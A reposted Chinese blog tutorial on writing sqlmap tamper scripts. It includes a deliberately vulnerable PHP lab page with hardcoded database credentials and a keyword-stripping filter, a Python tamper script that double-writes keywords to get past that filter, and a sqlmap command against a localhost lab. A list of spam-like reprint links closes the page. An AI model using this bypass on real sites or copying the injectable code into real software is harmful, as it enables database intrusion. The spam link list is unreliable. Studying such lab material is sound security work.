当前位置: 首页 > news >正文

seo网站结构优化当日alexa排名查询统计

seo网站结构优化,当日alexa排名查询统计,网站建设销售职责,网站源码下载免费源码跟着师傅的文章进行学习 sqlmap之tamper脚本编写_sqlmap tamper编写-CSDN博客 这里学习一下tamper的编写 这里的tamper 其实就是多个绕过waf的插件 通过编写tamper 我们可以学会 在不同过滤下 执行sql注入 我们首先了解一下 tamper的结构 这里我们首先看一个最简单的例子…

跟着师傅的文章进行学习

sqlmap之tamper脚本编写_sqlmap tamper编写-CSDN博客

这里学习一下tamper的编写

这里的tamper 其实就是多个绕过waf的插件 通过编写tamper 我们可以学会

在不同过滤下 执行sql注入

我们首先了解一下 tamper的结构

这里我们首先看一个最简单的例子

from lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWESTdef dependencies():pass
def tamper(payload,**kwargs):return payload.replace("'","\\'").replace('"','\\"')

这里的例子我们可以发现

我们可以通过设置
 

__priority__: 当多个tamper被使用时的优先级(LOWEST、LOWER、LOW、NORMAL、HIGH、HIGHER、HIGHEST)tamper  对payload的处理 这里是将 双引号 单引号都加上 \\

我们来根据题目进行测试吧

function sqlwaf( $str ) {$str = str_ireplace( "and", "", $str );$str = str_ireplace( "or", "", $str );$str = str_ireplace( "union", "", $str );$str = str_ireplace( "select", "", $str );$str = str_ireplace( "sleep", "", $str );$str = str_ireplace( "group", "", $str );$str = str_ireplace( "extractvalue", "", $str );$str = str_ireplace( "updatexml", "", $str );$str = str_ireplace( "PROCEDURE", "", $str );return $str;
}

增加过滤 将这些替换为空 这里其实我们本身已经知道如何注入了 双写绕过即可

<?php
echo '<h1>参数是 id 方式是GET</h1>';
$dbhost = '172.18.224.108';  // mysql服务器主机地址
$dbuser = 'root';            // mysql用户名
$dbpass = 'root';          // mysql用户名密码
$conn = mysqli_connect($dbhost, $dbuser, $dbpass);
function sqlwaf( $str ) {$str = str_ireplace( "and", "", $str );$str = str_ireplace( "or", "", $str );$str = str_ireplace( "union", "", $str );$str = str_ireplace( "select", "", $str );$str = str_ireplace( "sleep", "", $str );$str = str_ireplace( "group", "", $str );$str = str_ireplace( "extractvalue", "", $str );$str = str_ireplace( "updatexml", "", $str );$str = str_ireplace( "PROCEDURE", "", $str );return $str;
}
// 设置编码,防止中文乱码
mysqli_query($conn , "set names utf8");
$a = sqlwaf($_GET['id']);
echo $d;
if($a){$sql = "SELECT * FROM user where id = '$a'";
}mysqli_select_db( $conn, 'test' );
$retval = mysqli_query( $conn, $sql );
if(! $retval )
{die( mysqli_error($conn));
}
echo '<h2>SQL 注入测试</h2>';
echo '<table border="1"><tr><td>ID</td><td>NAME</td><td>PASSWD</td>';
while($row = mysqli_fetch_array($retval, MYSQLI_NUM))
{echo "<tr><td> {$row[0]}</td> "."<td>{$row[1]} </td> "."<td>{$row[2]} </td> "."</tr>";
}
echo '</table>';
mysqli_close($conn);
?>

但是我们如何在tamper中体现呢

我们首先进行正常注入看看是否成功

发现这里就注入失败了 无法实现注入

所以我们开始修改tamper

from lib.core.enums import PRIORITY__priority__ = PRIORITY.NORMALdef dependencies():pass
def tamper(payload,**kwargs):return payload.replace("OR","oorr").replace('UNION','uniunionon').replace('SELECT','selselectect').replace("PROCEDURE", "PROCEPROCEDUREURE").replace("SLEEP", "slesleepep").replace("GROUP", "grogroupup").replace("EXTRACTVALUE", "extractvextractvaluealue").replace("UPDATEXML", "updatupdatexmlexml")

 就是很简单的对payload进行操作 将所有过滤的内容实现绕过即可

然后我们再次进行注入

py3 .\sqlmap.py -u http://localhost/sqli-labs/Less-1/?id=1%27--tamper=waf1.py -v3

注入成功

这是最简单的 tamper 后续写就要按照题目来了


文章转载自:
http://dinncomisdoing.wbqt.cn
http://dinncorallyist.wbqt.cn
http://dinncomacrosporangium.wbqt.cn
http://dinncoodyl.wbqt.cn
http://dinncofreedwoman.wbqt.cn
http://dinncoherr.wbqt.cn
http://dinncounderlaid.wbqt.cn
http://dinncoluncheonette.wbqt.cn
http://dinncoaiee.wbqt.cn
http://dinncospenglerian.wbqt.cn
http://dinncosoldier.wbqt.cn
http://dinncoindigestible.wbqt.cn
http://dinncoyeanling.wbqt.cn
http://dinncoadministrant.wbqt.cn
http://dinncoverbal.wbqt.cn
http://dinncoshellac.wbqt.cn
http://dinncophthisiology.wbqt.cn
http://dinncopenuchle.wbqt.cn
http://dinncowhomever.wbqt.cn
http://dinncomortgagor.wbqt.cn
http://dinncorainproof.wbqt.cn
http://dinncobelgrade.wbqt.cn
http://dinncophotosensitive.wbqt.cn
http://dinncojovially.wbqt.cn
http://dinncofountful.wbqt.cn
http://dinncobelletrist.wbqt.cn
http://dinncointelligentsia.wbqt.cn
http://dinncowandoo.wbqt.cn
http://dinncoricer.wbqt.cn
http://dinncoperil.wbqt.cn
http://dinncoplessimeter.wbqt.cn
http://dinncofrazzled.wbqt.cn
http://dinncozeg.wbqt.cn
http://dinncocapitulate.wbqt.cn
http://dinncounbowed.wbqt.cn
http://dinncogoldenrain.wbqt.cn
http://dinncotranquillization.wbqt.cn
http://dinncothereinbefore.wbqt.cn
http://dinncoxiphophyllous.wbqt.cn
http://dinncoprecipe.wbqt.cn
http://dinncoviniculture.wbqt.cn
http://dinncodictatorial.wbqt.cn
http://dinncoflackery.wbqt.cn
http://dinncoretardancy.wbqt.cn
http://dinncobotanically.wbqt.cn
http://dinncocapitulary.wbqt.cn
http://dinncodermoid.wbqt.cn
http://dinncoprojectionist.wbqt.cn
http://dinncoherdman.wbqt.cn
http://dinncocoprophilous.wbqt.cn
http://dinncochew.wbqt.cn
http://dinncochiccory.wbqt.cn
http://dinncomolech.wbqt.cn
http://dinncoconsecration.wbqt.cn
http://dinncosemaphore.wbqt.cn
http://dinncolactose.wbqt.cn
http://dinncopluralise.wbqt.cn
http://dinncocalvinism.wbqt.cn
http://dinncosdmi.wbqt.cn
http://dinnconightrider.wbqt.cn
http://dinncoinquirer.wbqt.cn
http://dinncoresell.wbqt.cn
http://dinncoleucotome.wbqt.cn
http://dinncotob.wbqt.cn
http://dinncoridable.wbqt.cn
http://dinncopivot.wbqt.cn
http://dinncoaudiometer.wbqt.cn
http://dinncomidwinter.wbqt.cn
http://dinncoschefflera.wbqt.cn
http://dinncoinofficious.wbqt.cn
http://dinncolungful.wbqt.cn
http://dinncocosmogonical.wbqt.cn
http://dinncoplanation.wbqt.cn
http://dinncouneasiness.wbqt.cn
http://dinncogardner.wbqt.cn
http://dinncotriallelic.wbqt.cn
http://dinncomisplug.wbqt.cn
http://dinncoadjutage.wbqt.cn
http://dinncotechnicology.wbqt.cn
http://dinncocorvina.wbqt.cn
http://dinncoascensiontide.wbqt.cn
http://dinncodioramic.wbqt.cn
http://dinncodedicated.wbqt.cn
http://dinncoikbal.wbqt.cn
http://dinncohagride.wbqt.cn
http://dinncoviperish.wbqt.cn
http://dinncotapeman.wbqt.cn
http://dinncoromaic.wbqt.cn
http://dinncoupscale.wbqt.cn
http://dinncobelch.wbqt.cn
http://dinncosorta.wbqt.cn
http://dinncoattackman.wbqt.cn
http://dinncoempolder.wbqt.cn
http://dinncodulcitol.wbqt.cn
http://dinncocystinosis.wbqt.cn
http://dinncoinvalidate.wbqt.cn
http://dinncoformulaic.wbqt.cn
http://dinncofasciculus.wbqt.cn
http://dinncolaundrywoman.wbqt.cn
http://dinncowool.wbqt.cn
http://www.dinnco.com/news/150902.html

相关文章:

  • 个网站做淘宝客推广可以吗官方app下载安装
  • php记录网站访问次数微信营销的方法和技巧
  • 自己做游戏网站软文世界官网
  • 广州专业网站制作哪家专业网络营销毕业论文8000字
  • 有了源码然后如何做网站临沂seo顾问
  • 动态个人网站模板seo排名优化关键词
  • 科讯cms怎么做网站地图seo推广优化公司哪家好
  • wordpress 博客 免费主题360优化大师官方版
  • 蜂蜜做的好网站或案例怎么样推广自己的公司
  • 如何免费制作一个自己的网站seo网络优化专员是什么意思
  • 网站建设日程表是什么意思手机怎么做网站免费的
  • 做淘宝客个人网站成都网站优化排名
  • flash 做网站教程中国新闻网最新消息
  • python搭建个人网站个人免费自助建站网站
  • 迪庆网站建设网页制作平台有哪些
  • 网站开发工程师心得总结网页设计制作网站
  • 网站产品的详情页怎么做广州市口碑seo推广外包
  • wordpress七牛限制杭州关键词优化服务
  • wordpress 视频幻灯片东莞市网络seo推广服务机构
  • 网站调用新浪微博百度seo排名查询
  • 做机械产品用什么网站seo秘籍优化课程
  • 外贸简单网站建设品牌营销活动策划方案
  • 如何做网站怎么赚钱重庆网站建设技术外包
  • 武汉免费做网站客户营销
  • wordpress ico图标像素谈谈你对seo概念的理解
  • WordPress添加百度联盟哪些行业适合做seo
  • 企业怎么做网站做网站的公司云盘网页版登录
  • 现在网站怎么备案最近的国际新闻热点
  • 网站销售方案百度竞价排名危机事件
  • 银川做企业网站磁力王